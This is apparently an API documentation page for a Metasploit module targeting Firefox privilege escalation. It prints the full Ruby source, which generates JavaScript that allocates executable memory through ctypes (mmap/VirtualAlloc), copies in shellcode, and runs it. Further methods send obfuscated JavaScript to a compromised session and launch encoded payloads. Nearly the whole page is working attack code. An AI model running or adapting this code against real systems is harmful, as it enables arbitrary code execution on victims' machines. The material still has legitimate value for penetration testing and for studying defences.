Module: Msf::Exploit::Remote::FirefoxPrivilegeEscalation

Includes:
JSObfu
Included in:
FirefoxAddonGenerator
Defined in:
lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Instance Method Summary collapse

Methods included from JSObfu

#initialize, #js_obfuscate

Instance Method Details

#exec_shellcode_source ⇒ String

Puts the shellcode into memory, adds X flag, and calls it The js function throws on error

Returns:

  • (String) —

    javascript code containing the execShellcode() javascript fn



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# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 34

def exec_shellcode_source
  %Q|
    var execShellcode = function(shellcode, bytes) {
      Components.utils.import("resource://gre/modules/ctypes.jsm");

      var execPosix = function() {
        var RWX = 7, ANON_PRIVATE = 4098;
        Components.utils.import("resource://gre/modules/ctypes.jsm");
        var LIBS = [
          "/usr/lib/libSystem.B.dylib",
          "libc.so.6",
          "libc.so"
        ];

        var i, lib;
        for (i in LIBS) {
          try {
            lib = ctypes.open(LIBS[i]);
            break;
          } catch (e) {}
        }
        if (!lib) throw new Error("Could not find lib in ["+LIBS+"]");

        var mmap = lib.declare('mmap',
          ctypes.default_abi,   /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* address (NULL here) */
          ctypes.size_t,        /* num bytes */
          ctypes.int,           /* PROT_READ OR PROT_WRITE OR PROT_EXEC */
          ctypes.int,           /* MAP_ANONYMOUS OR MAP_PRIVATE */
          ctypes.int,           /* fd (0) */
          ctypes.int            /* offset (0) */
        );
        var memcpy = lib.declare('memcpy',
          ctypes.default_abi,   /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* dest */
          ctypes.voidptr_t,     /* src */
          ctypes.size_t         /* size to copy */
        );
        var fork = lib.declare('fork',
          ctypes.default_abi,   /* calling convention */
          ctypes.int            /* return type */
        );
        var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
        var cstr = ctypes.jschar.array()(shellcode);
        memcpy(buff, cstr, bytes);
        /* there is probably a better way to do this */
        var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
        if (!m) throw new Error("Could not find address of buffer.");
        if (fork() == 0) {
          ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();
        }
      };

      var execWindows = function() {
        var RWX = 0x40, ANON_PRIVATE = 0x1000;
        var Kernel32 = ctypes.open("Kernel32.dll");
        var VirtualAlloc = Kernel32.declare('VirtualAlloc',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* start address (NULL here) */
          ctypes.size_t,        /* num bytes */
          ctypes.unsigned_long, /* alloc type */
          ctypes.unsigned_long  /* protection flags */
        );
        var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* dest */
          ctypes.voidptr_t,     /* src */
          ctypes.size_t         /* size to copy */
        );
        var CreateThread = Kernel32.declare('CreateThread',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* lpThreadAttributes */
          ctypes.voidptr_t,     /* dwStackSize */
          ctypes.voidptr_t,     /* lpStartAddress copy */
          ctypes.voidptr_t,     /* lpParameter */
          ctypes.voidptr_t,     /* dwCreationFlags */
          ctypes.voidptr_t      /* lpThreadId */
        );
        var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);
        var cstr = ctypes.jschar.array()(shellcode);
        RtlMoveMemory(buff, cstr, bytes);
        var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/);
        if (!m) throw new Error("Could not find address of buffer.");
        var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));
        CreateThread(null, null, fn, null, null, null);
      };

      var i, errs = [], fns = [execWindows, execPosix];
      for (i in fns) {
        try {
          fns[i](shellcode);
          return true;
        } catch(e) { errs.push(e.message); }
      }

      throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]");
    };
  |
end

#js_exec(js, timeout = 30) ⇒ String

Sends the js code to the remote session, which executes it in Firefox’s privileged javascript context. The code will be obfuscated if the JsObfuscate datastore option is set to 1 or higher.

Returns:

  • (String) —

    the results that were sent back. This can be achieved through calling the "send" function, or by just returning the value in js



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# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 23

def js_exec(js, timeout=30)
  print_status "Running the privileged javascript..."
  token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
  js = js_obfuscate(js)
  session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
  session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
end

#js_target? ⇒ Boolean

Returns the user has selected a javascript (non-native) target.

Returns:

  • (Boolean) —

    the user has selected a javascript (non-native) target



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# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 152

def js_target?
  if target.arch
    target.arch[0] == ARCH_FIREFOX
  else
    false
  end
end

#run_payload ⇒ String

For a javascript payload, this simply returns the payload source For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode

Returns:

  • (String) —

    javascript source code that kicks off the execution of the payload



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# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 142

def run_payload
  return payload.encoded if js_target?
  %Q|
    #{exec_shellcode_source}
    var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}");
    execShellcode(sc, #{payload.encoded.bytes.to_a.length});
  |
end